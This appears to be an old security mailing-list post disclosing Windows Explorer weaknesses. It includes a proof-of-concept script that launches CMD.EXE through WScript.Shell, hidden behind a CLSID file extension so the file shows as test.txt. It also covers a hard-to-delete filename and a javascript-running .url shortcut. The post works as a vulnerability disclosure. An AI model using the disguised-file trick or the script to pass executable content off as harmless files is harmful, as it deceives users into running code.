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From: labaiss2003 at yahoo.co.uk (Good One)
Subject: Microsoft hides certain types of files from your eyes + some filename parsing bug

Microsoft HIDES certain types of files from your eyes:

This one is old unpatched "behaviour" ...

If you will create in windows explorer file :

test.txt 
with content :

<script>
a=new ActiveXObject("WSCript.Shell");
a.run("CMD.EXE");
alert("Hello, I'm Silly Billy !");
</script>

It will be executed if you will add CLSID to it's name and user double clicks it :

test.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}

Note: 
CLSID will remain hidden (explorer will not show it up in any means)
File name for user will remain : test.txt

This adds numerous possibilities for viruses to fool end user into safe content.

another filename parsing bug (system even cannot access it) :
By some technics windows still allows to write file on harddisk with funny name like :

test [good one :] .avi

End user will expierence certain difficulties to remove it afterwards from system.

It's name will change to "test [good one", it will have no extension, will show up 0 bytes etc, etc...

Of course .url and .lnk are hidden as well, being "shortcuts" in m$ way. The contents of those files are up to you ... :-) 

For example : file "test.url" with this content will open your browser with alert.

[DEFAULT]
BASEURL=javascript:alert('hello mama !')
[InternetShortcut]
URL=javascript:alert('hello mama !')
Modified=00027F010505010100

m$ is good for gaming, not for serious work..

- SomeMan.

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